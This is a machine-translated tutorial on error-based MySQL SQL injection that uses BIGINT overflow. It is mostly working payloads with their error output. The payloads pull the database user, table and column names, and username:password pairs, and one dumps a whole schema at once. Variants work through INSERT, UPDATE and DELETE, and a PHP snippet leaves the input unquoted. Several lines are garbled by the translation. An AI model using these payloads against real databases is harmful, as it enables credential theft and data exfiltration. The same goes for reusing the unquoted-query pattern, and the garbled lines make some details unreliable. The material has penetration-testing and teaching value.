SQL Injection Based on BIGINT overflow error
I am very interested in the new technology of extracting data by mistake in MySQL, and this is a technology introduced in this article. When I checked the integer Processing Method of MySQL, I suddenly became interested in how to make it overflow. Next, let's take a look at how MySQL stores integers.
Only MySQL 5.5.5 and later versions produce overflow error messages, while the lower version does not send any messages for integer overflow.
The length of a data type BIGINT is 8 bytes, that is, the length is 64 bits. The maximum signed values of this data type are in the binary, hexadecimal, and decimal forms: "bytes", "0x7fffffffffffffff", and "9223372036854775807 ". When performing some numerical operations on this value, such as addition operations, it will cause the "BIGINT value is out of range" error.
Mysql> select 9223372036854775807 + 1;
ERROR 1690 (22003): BIGINT value is out of range in '(9223372036854775807 + 1 )'
To avoid the above errors, we only need to convert them into unsigned integers.
For unsigned integers, the maximum values that BIGINT can store are in binary, hexadecimal, and decimal notation, which are "bytes", "0xffffffffffffffffff", and "18446744073709551615" respectively ".
Similarly, if you perform a numeric expression operation on this value, such as addition or subtraction, it will also cause the "BIGINT value is out of range" error.
# In decimal
Mysql> select 18446744073709551615 + 1;
ERROR 1690 (22003): bigint unsigned value is out of range in '(18446744073709551615 + 1 )'
# In binary
Mysql> select cast (B '000000' as unsigned) + 1;
ERROR 1690 (22003): bigint unsigned value is out of range in '(cast (0 xffffffffffffffff as unsigned) + 1 )'
# In hex
Mysql> select cast (x 'ffffffffffffff' as unsigned) + 1;
ERROR 1690 (22003): bigint unsigned value is out of range in '(cast (0 xffffffffffffffff as unsigned) + 1 )'
What will happen if we reverse the value 0 by bit? Of course, it is obvious to get an unsigned maximum BIGINT value.
Mysql> select ~ 0;
+ ---------------------- +
| ~ 0 |
+ ---------------------- +
| 1, 18446744073709551615 |
+ ---------------------- +
1 row in set (0.00 sec)
Therefore, if we ~ If 0 is used for addition or subtraction, it will also cause a BIGINT overflow error.
Mysql> select 1 -~ 0;
ERROR 1690 (22003): BIGINT value is out of range in '(1 -~ (0 ))'
Mysql> select 1 + ~ 0;
ERROR 1690 (22003): bigint unsigned value is out of range in '(1 + ~ (0 ))'
0x002 Injection Technology
My idea is to use subqueries to cause BITINT overflow and try to extract data. We know that if a query returns a successful result, its return value is 0, so if the logic is not performed on it, it will become 1. For example, if we perform a logical non-logical query like (select * from (select user () x), there will be:
mysql> select (select*from(select user())x);+-------------------------------+| (select*from(select user())x) |+-------------------------------+| root@localhost |+-------------------------------+1 row in set (0.00 sec)# Applying logical negationmysql> select !(select*from(select user())x);+--------------------------------+| !(select*from(select user())x) |+--------------------------------+| 1 |+--------------------------------+1 row in set (0.00 sec)
Yes, it's perfect! Therefore, as long as we can combine bitwise inversion and logical inversion operations, we can use overflow errors to successfully inject queries.
Mysql> select ~ 0 +! (Select * from (select user () x );
ERROR 1690 (22003): BIGINT value is out of range in '(~ (0) + (not (select 'root @ localhost' from dual ))))'
We will not use addition first, because "+" will be converted to a blank character (however, you can use % 2b to represent "+") when parsing through a web browser "). Instead, we can use subtraction. Therefore, the same injection attack may have different variants. The final query statement is as follows.
! (Select * from (select user () x )-~ 0
(Select (! X -~ 0) from (select user () x))
(Select! X -~ 0. from (select user () x))
For example, we can inject data in a query statement as follows.
Mysql> select username, password from users where id = '1' or! (Select * from (select user () x )-~ 0;
ERROR 1690 (22003): BIGINT value is out of range in '(not (select 'root @ localhost' from dual )))-~ (0 ))'
Using this injection method based on BIGINT overflow error, we can use almost all the mathematical functions in MySQL, because they can also be reversed. The specific usage is as follows:
Select! Atan (select * from (select user () ))-~ 0;
Select! Ceil (select * from (select user () ))-~ 0;
Select! Floor (select * from (select user () ))-~ 0;
We have tested the following. If you want to, you can find more :)
HEX
IN
FLOOR
CEIL
RAND
CEILING
TRUNCATE
TAN
SQRT
ROUND
SIGN
0x003 extract data
The method for extracting data is the same as that in other injection attacks.
First, let's get the table name:
! (Select * from (select table_name from information_schema.tables where table_schema = database () limit 0, 1) x )-~ 0
Retrieve column Name:
Select! (Select * from (select column_name from information_schema.columns where table_name = 'users' limit 0, 1) x )-~ 0;
Retrieve Data:
! (Select * from (select concat_ws (':', id, username, password) from users limit 0, 1) x )-~ 0;
0x004 one-time dump
Can we dump all databases, columns, and data tables at one time? The answer is yes. However, when we dump data tables and columns from all databases, we can only get a small number of results. After all, we retrieve data through error messages. However, if we dump data from the current database, we can dump up to 27 results at a time. The following is an example.
!(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0(select(!x-~0)from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)(select!x-~0.from(select(concat (@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat (@,0xa,table_name,0x3a3a,column_name)),@))x)a)
These limits the number of results that can be retrieved, that is, up to 27. Suppose we create a 31-column data table in a database. Therefore, we can only see 27 results, and neither the other four tables nor other columns of the user data table can be returned.
0x05 inject with insert statement
Using the insert statement, we can perform similar injection attacks. The syntax is ''or (payload) or" ".
Mysql> insert into users (id, username, password) values (2, ''or! (Select * from (select user () x )-~ 0 or '', 'eyre ');
ERROR 1690 (22003): bigint unsigned value is out of range in '(not (select 'root @ localhost' from dual )))-~ (0 ))'
We can also use DIOS query.
insert into users (id, username, password) values (2, '' or !(select*from(select(concat(@:=0,(select count(*)from`information_schema`.columns where table_schema=database()and@:=concat(@,0xa,table_schema,0x3a3a,table_name,0x3a3a,column_name)),@)))x)-~0 or '', 'Eyre');ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not((select '000newdb::users::idnewdb::users::usernamenewdb::users::password' from dual))) - ~(0))'
0x06 inject with update statement
Using the update statement, we can perform similar injection as follows:
Mysql> update users set password = 'Peter 'or! (Select * from (select user () x )-~ 0 or ''where id = 4;
ERROR 1690 (22003): bigint unsigned value is out of range in '(not (select 'root @ localhost' from dual )))-~ (0 ))'
0x07 inject with update statement
Similarly, we can use the delete statement for injection as follows:
Mysql> delete from users where id = '1' or! (Select * from (select user () x )-~ 0 or '';
ERROR 1690 (22003): bigint unsigned value is out of range in '(not (select 'root @ localhost' from dual )))-~ (0 ))'
0x08 Summary
The attack in this article is successful because mysql_error () will return an error message to us, so long as we can use it for injection. This feature is provided in 5.5.5 and later versions. There are many different forms of these overflow attacks. For example:
Mysql> select! 1 to 0 ^ 222;
ERROR 1690 (22003): bigint unsigned value is out of range in '(not (1)-(0 ^ 222 ))'
Mysql> select! (Select * from (select user () a)-0 ^ 222;
ERROR 1690 (22003): bigint unsigned value is out of range in '(not (select 'root @ localhost' from dual)-(0 ^ 222 ))'
In addition, back-end code references, double quotation marks, or parentheses can also cause injection attacks. For example, if you use DVWA to modify the PHP Code to remove the quotation marks, You can inject the code without the need for similar operations.
if(isset($_GET['Submit'])){ // Retrieve data $id = $_GET['id']; $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; $result = mysql_query($getid) or die('' . mysql_error() . '' ); $num = mysql_numrows($result); $i = 0; while ($i $num) { $first = mysql_result($result,$i,"first_name"); $last = mysql_result($result,$i,"last_name"); $html .= ''; $html .= 'ID: ' . $id . 'First name: ' . $first . 'Surname: ' . $last; $html .= ''; $i++; }}?>
I hope this article will help you with penetration testing.